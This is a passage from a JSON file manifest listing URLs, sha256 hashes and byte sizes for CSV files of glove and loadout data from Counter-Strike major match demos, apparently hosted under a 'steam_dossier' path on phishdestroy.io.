          "sha256": "a6a0fd7ec7b7beaf24895b2f9c9e8d89915308c8c2642d498a8a045b389be37a",
          "bytes": 673
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m2-inferno.dem.gloves.csv",
          "sha256": "9575605a623502a9febb97c922e323198b93833c16255ec1732e10cf88a4a012",
          "bytes": 673
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m3-nuke.dem.gloves.csv",
          "sha256": "2df5e74f60623d20b5fff7a20bbfe4e43c5599888083bfb0d30cb06baa9fbcba",
          "bytes": 673
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97820_3dmax-vs-pain-m1-inferno.dem.gloves.csv",
          "sha256": "365df7a67af64affde2ee04a1ef476b1803ec084fb39a075319da5580b697429",
          "bytes": 657
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97820_3dmax-vs-pain-m2-nuke.dem.gloves.csv",
          "sha256": "c12ad8e1a0c7fd0eb44b252615a56f1087df37c52a7c62c7641f400ff10b0c53",
          "bytes": 657
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97826_the-mongolz-vs-faze-m1-ancient.dem.gloves.csv",
          "sha256": "e01cf31f6976354ec27d479b6f61ba78e891930d2bb76ff6de8f953dec5e4975",
          "bytes": 646
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97826_the-mongolz-vs-faze-m2-anubis.dem.gloves.csv",
          "sha256": "af95b57c379799dd0f6b4c0708e2b59d2ebf9088a28a94eaba0f55ae19aa9b97",
          "bytes": 655
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m1-train.dem.gloves.csv",
          "sha256": "83c0440e6ed45e03336b28a02b9d2dd3a66a0d77f5a37385886e18b51fc4542c",
          "bytes": 665
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m2-inferno.dem.gloves.csv",
          "sha256": "0fd4fe4e644e03e0b32ce6d4abb7b659d35ae68932c092ef0d832063d2325881",
          "bytes": 664
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m3-mirage.dem.gloves.csv",
          "sha256": "91f3ff736a819f6b089ad39cdf03f162f318bb9029c64ae6d7e10d5c0fb257b0",
          "bytes": 665
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97835_virtus-pro-vs-vitality-m1-train.dem.gloves.csv",
          "sha256": "7d0587f318e26c610bcc8210d01646fc1c4c68d158f14d7a1f632e23a36d66f5",
          "bytes": 659
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97835_virtus-pro-vs-vitality-m2-dust2.dem.gloves.csv",
          "sha256": "cbf8ef497ed6b7cc798e77723cfb011683fc1009de42f44e182f990c35662d7f",
          "bytes": 659
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m1-mirage.dem.gloves.csv",
          "sha256": "54e494a296b9967737035cc6d19740ef2fb87df7b9f95585814a0e0852c78da4",
          "bytes": 664
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m2-anubis.dem.gloves.csv",
          "sha256": "946534e366fff9c3597a2006e55e59f1511365eb584474df86270897575c1a08",
          "bytes": 664
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m3-inferno.dem.gloves.csv",
          "sha256": "20a45a7edef619e7e4f3fe734a9f3e0780420226ede1332ad6d052f84481f0ff",
          "bytes": 664
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m1-ancient.dem.gloves.csv",
          "sha256": "7c50e77793348f4fafe4f0d06d793605c226bc00bb2c3fd1fd5367c1ae182211",
          "bytes": 670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m2-inferno.dem.gloves.csv",
          "sha256": "921f86e636679d551012afb1858ee9ecd8d3a8fcba629535d25575b8bad7666c",
          "bytes": 668
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m3-nuke.dem.gloves.csv",
          "sha256": "8d6cb69a36514703b5dd66e71942ab734f53a2159bb6efe0315bc64e5c2ddf1d",
          "bytes": 670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m1-mirage.dem.gloves.csv",
          "sha256": "b62db26c6284127a470b6645efe24c27faac036e732727abb1c127df28d2b5f6",
          "bytes": 671
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m2-dust2.dem.gloves.csv",
          "sha256": "3c869e5cb6e698f2a9858c1055c9fd6570de435ee1cc8469cb6ad2fcdaf17ccb",
          "bytes": 670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m3-nuke.dem.gloves.csv",
          "sha256": "ff8c56c404adbdfbcec759bc0199bd045e3a5256c8285419bd9d7485c03ade8f",
          "bytes": 671
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97954_faze-vs-the-mongolz-m1-mirage.dem.gloves.csv",
          "sha256": "d422351197e6dd7068a78b095ea46e8c93867d7deb9c5413af5cb6103eb340c7",
          "bytes": 656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97954_faze-vs-the-mongolz-m2-anubis.dem.gloves.csv",
          "sha256": "c0fb2767c4b111cf2a23d531771dd18a87f1f584dce18813eab833571c4fcc3c",
          "bytes": 656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m1-mirage.dem.gloves.csv",
          "sha256": "0cde93646b29fc2472da103d1bd4739507e253207495a097f8997b675cf778b6",
          "bytes": 651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m2-dust2.dem.gloves.csv",
          "sha256": "0093faf2567973b9c562bf0c35febb884f907030c0e119d40e41b8497cae83e6",
          "bytes": 651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m3-inferno.dem.gloves.csv",
          "sha256": "0f6877cd69591c09d9e98546ae311bdcf117e5a4f0ce2c02e9b7c85f6436a404",
          "bytes": 651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68407_g2-vs-natus-vincere-m1-ancient.dem.loadout.csv",
          "sha256": "7326d63c05ccd0346dab84923779a3946d35dcf612752d3358fc9a4f5791b3b0",
          "bytes": 5438
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68407_g2-vs-natus-vincere-m2-nuke.dem.loadout.csv",
          "sha256": "059c8b4c86d94baaa88a1ad0e9285a6e5c1fadd6d4925052c0266dac51e0fa87",
          "bytes": 15071
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m1-nuke.dem.loadout.csv",
          "sha256": "10b47300e9e09486fcefe646a8e59d8739c647b5763ebe3248577b04a6a60b89",
          "bytes": 12280
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m2-overpass.dem.loadout.csv",
          "sha256": "84f52c6dd97e6c92330ae772a2cac6ff8183064c7b4322a20dd51d8b2c0ce02f",
          "bytes": 13794
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m3-inferno.dem.loadout.csv",
          "sha256": "c43e768239237b32782128867ee47bb644a323baad05d3acfec966ff45c8e8d7",
          "bytes": 11268
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71939_ence-vs-copenhagen-flames-m1-vertigo.dem.loadout.csv",
          "sha256": "98df7f7c7e5524e8729335df6a7790e4c9afdeeca615eb44214e0850ba9597f0",
          "bytes": 12706
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71939_ence-vs-copenhagen-flames-m2-nuke.dem.loadout.csv",
          "sha256": "69aedfff5e9db1a66ad1d2b086ae31633522cdd284d6a115832c1449bd33d0d1",
          "bytes": 14093
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71998_faze-vs-natus-vincere-m1-inferno.dem.loadout.csv",
          "sha256": "5c0882eb5fff2435bf1321afcfab92eedc02b2d7ee1de8e82e3970320959bf0a",
          "bytes": 14887
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71998_faze-vs-natus-vincere-m2-nuke.dem.loadout.csv",
          "sha256": "de9393c097c85688ee6570657c5099b42f09c9982a0ce855d862677169644223",
          "bytes": 13866
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75553_spirit-vs-bad-news-eagles-ancient.dem.loadout.csv",
          "sha256": "5878a3666590761a99a361730333dc7f9e75098e7d934de3fe78c20c032b8d55",
          "bytes": 14160
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75555_mouz-vs-liquid-inferno.dem.loadout.csv",
          "sha256": "25e2c8ef818fd1e43e8612fc16fba95a50d57e10fd30571f939a3f2e90b41c20",
          "bytes": 10590
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75556_sprout-vs-big-vertigo.dem.loadout.csv",
          "sha256": "7a7e96d6b8d840d34dfff8d81d703a597689388d61d6c3e5bf90ba28849bdb5d",
          "bytes": 12269
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75637_outsiders-vs-heroic-m1-mirage.dem.loadout.csv",
          "sha256": "89e148718ad5c45210610e63bbf7982f2ed79a618914d1f0c5d739630f1f42a6",
          "bytes": 14340
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75637_outsiders-vs-heroic-m2-overpass.dem.loadout.csv",
          "sha256": "a98184cbd8810ca3a514bbf295b62f91d6cf8f65b2671425ad2d5631743872b0",
          "bytes": 12123
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79711_9ine-vs-liquid-inferno.dem.loadout.csv",
          "sha256": "e3bb4d75a8b8143685aa08bee3f24ca96b413f0504fc6b4c31b17dab57c9fe0c",
          "bytes": 13856
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79712_natus-vincere-vs-gamerlegion-mirage.dem.loadout.csv",
          "sha256": "66c015d45491e8412755d8c20a93b8ccac4c1dee83d85faf7e09bb537e747778",
          "bytes": 13581
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79717_into-the-breach-vs-apeks-mirage.dem.loadout.csv",
          "sha256": "fc34615e33c4bf6e3bdc55a02bac5457ceef72199d456dc280c554e3edec4ac4",
          "bytes": 12841
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79720_bad-news-eagles-vs-ence-vertigo.dem.loadout.csv",
          "sha256": "f3ab21dba208f8db03fd43087f440db0d19f5869e3924972dfa6d3a75991dbf3",
          "bytes": 14834
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79721_liquid-vs-natus-vincere-inferno.dem.loadout.csv",
          "sha256": "6e014566aee59785e669c51c41898593c5cb2f630ae9aadc27c6ce3f0e3b7b20",
          "bytes": 8229
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79723_vitality-vs-ence-vertigo.dem.loadout.csv",
          "sha256": "1b6e9508f75cc79e8f8601bb2d9abb47ab7161ee26b1f38ba0517840194aa808",
          "bytes": 13117
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79726_9ine-vs-gamerlegion-mirage.dem.loadout.csv",
          "sha256": "37d99dea9a31eb0dbe32d256995508ceea8b7219d535ceae67b7cb0f79d02fdc",
          "bytes": 13174
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79727_bad-news-eagles-vs-g2-ancient.dem.loadout.csv",
          "sha256": "02eb82d2a88ddd300baa0d2870f9598752e864955d5bfa15ef18da800c443a38",
          "bytes": 14319
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79731_natus-vincere-vs-ninjas-in-pyjamas-overpass.dem.loadout.csv",
          "sha256": "a3fdc145b2e098190d9c180ef0329dddeed4dc5c60d1ec6b406d6c32093a1e2b",
          "bytes": 14318
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79733_ence-vs-into-the-breach-vertigo.dem.loadout.csv",
          "sha256": "0d531f855f06dc5ff45be7be9f1dad02549ec312ec22e363d04815528236f7ab",
          "bytes": 12672
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79734_apeks-vs-bad-news-eagle-ancient.dem.loadout.csv",
          "sha256": "0afded1dbd28e631d4de43ccfbee2095a20593c2e094df9c9dff85fbf58a57c4",
          "bytes": 12653
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79735_fnatic-vs-gamerlegion-overpass.dem.loadout.csv",
          "sha256": "0322d50a7a1eddd32f5579ed7e57eab3bb664c0571ec8eca14ee7aa08d64f2e9",
          "bytes": 13884
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79736_monte-vs-vitality-m1-anubis.dem.loadout.csv",
          "sha256": "b805dca83d7dad1a2087e6e3372a71c9251414e6629c980cde7d37271aa12ef5",
          "bytes": 13799
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79736_monte-vs-vitality-m2-nuke.dem.loadout.csv",
          "sha256": "58a4acf0ace595cf399459c0207e04d93e5c655d88f238e2880221421fdc1337",
          "bytes": 15851
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79739_9ine-vs-faze-m1-inferno.dem.loadout.csv",
          "sha256": "f7b6f8cdbb0ff2fb5d122e1530dfe17abcdbe00ff42c215121bd4eb7f99b65a3",
          "bytes": 12970
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79739_9ine-vs-faze-m2-anubis.dem.loadout.csv",
          "sha256": "127bf88c6951bd70592e02bc654844f810bcd0e46cd8d4d4f42691fc650d2f9e",
          "bytes": 12753
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m1-inferno.dem.loadout.csv",
          "sha256": "7f01006691591e45d879934f8466cfd0491f86ebeec59e932bd75135da954e1b",
          "bytes": 14597
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m2-mirage.dem.loadout.csv",
          "sha256": "af2160e7cfb7bad8662c39ea4626acc7396320cecff75160b9f6390e6046f191",
          "bytes": 14295
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m3-ancient.dem.loadout.csv",
          "sha256": "8ebcefe68c98d59d3e4a4063136c89cb60162468ccfb930dd9f070a37ee9f0ab",
          "bytes": 13883
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79741_furia-vs-g2-m1-inferno.dem.loadout.csv",
          "sha256": "1b9ada46c5b42f5fd555a0efb5e7f0177d5a892a24b9cabf2897aecd977225aa",
          "bytes": 13515
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79741_furia-vs-g2-m2-mirage.dem.loadout.csv",
          "sha256": "84e7f06b3938198afb304362052e37d1bd3b77806e131d709dc1133048886286",
          "bytes": 12704
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m1-overpass.dem.loadout.csv",
          "sha256": "f6d295c29dfbe845b54dcd5c0033f39e0ae41a5f0dbe09875891f4f3ad671f41",
          "bytes": 11851
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m2-mirage.dem.loadout.csv",
          "sha256": "93d77dc76c841d5c5604385acb9d1428a52241e8208b5f1c51b1832876d25fb6",
          "bytes": 15740
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m3-inferno.dem.loadout.csv",
          "sha256": "b993378a2ece1477f5f90713863ab9676fa4a70b683124952e162e4df9b5f6da",
          "bytes": 13406
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79746_liquid-vs-into-the-breach-m1-overpass.dem.loadout.csv",
          "sha256": "51b014eb3c04c83e280f3723110cbdc16142229cb4ddd3748b0c0ca82e014874",
          "bytes": 15721
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79746_liquid-vs-into-the-breach-m2-anubis.dem.loadout.csv",
          "sha256": "603c447f05f7fd13e4a58b8e3f435cfadf63adaa74b5c4f435a961e204c33ea0",
          "bytes": 13063
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m1-inferno.dem.loadout.csv",
          "sha256": "ff072142fd28a277a830038d9a9b4f762a18a167d1ec88ad96ca828abfd52189",
          "bytes": 15531
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m2-ancient.dem.loadout.csv",
          "sha256": "75e8bb774055f8064910781581a0f59fbd07e8e34f1fd38af604eb3c854c1d4a",
          "bytes": 13657
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m3-vertigo.dem.loadout.csv",
          "sha256": "7c518a8c1833c042e4248b34aaec6952a97e10ef9c3fdefdc36c6b9121f5b980",
          "bytes": 14425
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79756_faze-vs-natus-vincere-m1-overpass.dem.loadout.csv",
          "sha256": "9f3e7931a824dbe931e8e1c40c7de97dc1e53be92f230c6183213de93bd5a7e9",
          "bytes": 15593
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79756_faze-vs-natus-vincere-m3-anubis.dem.loadout.csv",
          "sha256": "41e5c99d5a3fdc5be871a4e47cfa6d157376b59fe212d70b90ebd5eb80febcaf",
          "bytes": 16570
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m1-inferno.dem.loadout.csv",
          "sha256": "c7efa5e2656d97ef467e1601267dc53ea9ce65a6f1c92827638c7e6fdb0d5977",
          "bytes": 14742
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m2-overpass.dem.loadout.csv",
          "sha256": "f42e1825b462a745ec575e9c0a1f5ff75603b04d37c5794b5755e7a38de92d13",
          "bytes": 13798
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m3-vertigo.dem.loadout.csv",
          "sha256": "e9a0042086a5a55306d6b9293fce8e280fa031e39303fd80cff410aba5efddc1",
          "bytes": 10668
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79760_apeks-vs-ninjas-in-pyjamas-m1-vertigo.dem.loadout.csv",
          "sha256": "b510dcca122b86a65105eec6dbb560e42c789f67693d0f81c1f52ecb66f2c67a",
          "bytes": 15744
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79760_apeks-vs-ninjas-in-pyjamas-m2-ancient.dem.loadout.csv",
          "sha256": "b45fa8c1b53c491abebf0a4cb33b4d9bee026d434798f102d601ec763c269b41",
          "bytes": 15344
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m1-nuke.dem.loadout.csv",
          "sha256": "5859995795fef5e7c7a0e14e416b7cc66b646955304150ea7d8dbe481fcf047c",
          "bytes": 12889
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m2-overpass.dem.loadout.csv",
          "sha256": "d7d3c7c3c916162d9d1dd4a55ff2deedde5e33f1dd5e3b4385de14aaf8ba32bf",
          "bytes": 14409
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m3-mirage.dem.loadout.csv",
          "sha256": "fa194f290d94072a696e1eb5c93523e3b233457f8b1a48f32105e26ec35c7ff5",
          "bytes": 12030
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79803_vitality-vs-into-the-breach-m1-vertigo.dem.loadout.csv",
          "sha256": "c459c4f6f34ccc60e51553dae4786ce87d4d4fb375a8a6ab93d2043183c06f08",
          "bytes": 13699
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79803_vitality-vs-into-the-breach-m2-anubis.dem.loadout.csv",
          "sha256": "2dfa9525a782184f5d8cf95a49b4b616680b039c9481e3128f3c9d7330c5be1b",
          "bytes": 12879
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79807_liquid-vs-apeks-m1-ancient.dem.loadout.csv",
          "sha256": "b3f7cd619cffd434199e073ac9f678b0dbf4906e19ceb8e0ee2210265324e705",
          "bytes": 13941
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79807_liquid-vs-apeks-m2-overpass.dem.loadout.csv",
          "sha256": "7fbb19fd492a102d7ad9e6ff5b5b979a6a55c0cac177fc381163852ebce28b14",
          "bytes": 14595
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m1-ancient.dem.loadout.csv",
          "sha256": "e13f9d3cc2801c1fb9bcb35702b623f2eb2f8d02f589375434a2dbb4f598862d",
          "bytes": 13214
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m2-inferno.dem.loadout.csv",
          "sha256": "8bcc35ca9e8e102240af94204308aca394d105454ef2c47579a21c643a0c280b",
          "bytes": 13473
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m3-mirage.dem.loadout.csv",
          "sha256": "d4b2ff95a9953c68c1be053048b58054cb0f431b04ef248f2c7dbdec8bc8de5a",
          "bytes": 11594
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79832_vitality-vs-apeks-m1-mirage.dem.loadout.csv",
          "sha256": "1f7ed521a5331f0f60760e904a44705b25b3a635fc630ac8f8503c7cf6cbe9d6",
          "bytes": 13513
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79832_vitality-vs-apeks-m2-vertigo.dem.loadout.csv",
          "sha256": "f0d6c38ede13b03e5e6c7b54531aedef578f5b523cfda76034a7f298a50f2063",
          "bytes": 13895
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79841_gamerlegion-vs-vitality-m1-overpass.dem.loadout.csv",
          "sha256": "0245b5173758d18e8e7e59466d1ea9622f856a1509a91a6c0f0dec4a2d761305",
          "bytes": 12411
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79841_gamerlegion-vs-vitality-m2-nuke.dem.loadout.csv",
          "sha256": "23382851566651191464e7457d757e25c49d2801fd4bb18d9ba60c356d86c972",
          "bytes": 13052
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86019_mouz-vs-ecstatic-overpass.dem.loadout.csv",
          "sha256": "3cabb87704f555373912403ff4c647acec68c0b0cf7206e84975fdfd7633d625",
          "bytes": 12928
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86023_complexity-vs-pain-vertigo.dem.loadout.csv",
          "sha256": "f46078fa9e61abce70e686b20d37600a36f8df6812014dabc0238fffcc780b24",
          "bytes": 12427
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86024_faze-vs-heroic-ancient.dem.loadout.csv",
          "sha256": "d852c1c65e37d9ff78e04bd5e1117697c498950d5aba469f491752231f03b958",
          "bytes": 13014
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86025_g2-vs-furia-inferno.dem.loadout.csv",
          "sha256": "fc654bc7653a8f7a459b5c07716c28ad400b83a9309cdac04019b75ecdeaea20",
          "bytes": 11509
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86026_spirit-vs-cloud9-ancient.dem.loadout.csv",
          "sha256": "054c247b0b332018e2580e434f24c4f6fb4c38d94d0d4e7c533e52dfc49325c3",
          "bytes": 13149
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86029_vitality-vs-themongolz-nuke.dem.loadout.csv",
          "sha256": "f946c5838eeefe0c185f318b6c9aa7aa2132cb5347bca1d2077caafb40872a5a",
          "bytes": 12217
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86030_mouz-vs-eternal-fire-vertigo.dem.loadout.csv",
          "sha256": "ba3baa266af23d9facdf0729e0ef28f20959f9674ad506118d8723304259e7f0",
          "bytes": 13783
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86031_virtuspro-vs-pain-inferno.dem.loadout.csv",
          "sha256": "bac7c32785798440a2fe57ce243df31a4d7c82f2ec256532f59f15424171dbb2",
          "bytes": 13166
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86032_complexity-vs-heroic-vertigo.dem.loadout.csv",
          "sha256": "94b92747c15aae6c78f6c953c5eb78b8685d0146e00e471aae17c8e2750574e0",
          "bytes": 15155
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86033_cloud9-vs-ecstatic-overpass.dem.loadout.csv",
          "sha256": "ed4fa86b7e23975b58dfbacffca142f03be3c1d3ce26301bdeeaf4539f20b06d",
          "bytes": 10242
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86035_natus-vincere-vs-g2-nuke.dem.loadout.csv",
          "sha256": "398f91dc270a899b79dab1c7537b55dc2a639089d0c23fa5c7f8f7243a85409e",
          "bytes": 14075
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86036_faze-vs-furia-ancient.dem.loadout.csv",
          "sha256": "e04b9bbb908f4a6e222c58b7f7ef8d43630cd80f91a2022a19cf57c3164913bc",
          "bytes": 13113
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86038_spirit-vs-imperial-mirage.dem.loadout.csv",
          "sha256": "22e5fea866ec82495514f7520660bad41303e88a44ad7af09987322c07c4d40c",
          "bytes": 9602
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86044_heroic-vs-virtus-pro-ancient.dem.loadout.csv",
          "sha256": "cef040ee53f2ccdd6d73c18677e9dd598340d945f7a19c6b4cb35ef823bee8b9",
          "bytes": 12089
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86045_g2-vs-cloud9-anubis.dem.loadout.csv",
          "sha256": "9e62719ef8a87bd9b5bf26334df3941d83daa7dd33bd2f0b54f522ae1e11900a",
          "bytes": 13799
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86047_eternal-fire-vs-faze-overpass.dem.loadout.csv",
          "sha256": "24fad73d3c8ddbc6c346603bb7532e613b7d2b2a7d6738c9b4869889a59cb7f1",
          "bytes": 9616
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86048_imperial-vs-vitality-overpass.dem.loadout.csv",
          "sha256": "4e9d07ccd6d0dfbfa17eaee82a928235831428845224f0d0bc782f377659d46f",
          "bytes": 11771
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86050_mouz-vs-complexity-m1-overpass.dem.loadout.csv",
          "sha256": "630cb7be6b3cd8ef04a75504910f077239cf76a4867a9f24083bd1393a0fb179",
          "bytes": 9119
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86050_mouz-vs-complexity-m2-ancient.dem.loadout.csv",
          "sha256": "e50e6698e1cc7d585947746ce02cf84e155151908b7258c11d0f49c4c87b7c4f",
          "bytes": 9231
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m1-mirage.dem.loadout.csv",
          "sha256": "c94482a74fe3b2ab3da9c58bfe361a8ce8758be7b241d74e06d8161d6fa6a7f9",
          "bytes": 12502
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m2-nuke.dem.loadout.csv",
          "sha256": "b9ca38c97cab5693766a7a6d4469d63feccf2f4065651064584ddde1514734fb",
          "bytes": 13067
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m3-inferno.dem.loadout.csv",
          "sha256": "02d093acfb60d9724a47a366c88f829a9d14ee8a08cbdf5c89b5b0875c613a3f",
          "bytes": 16106
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m1-nuke.dem.loadout.csv",
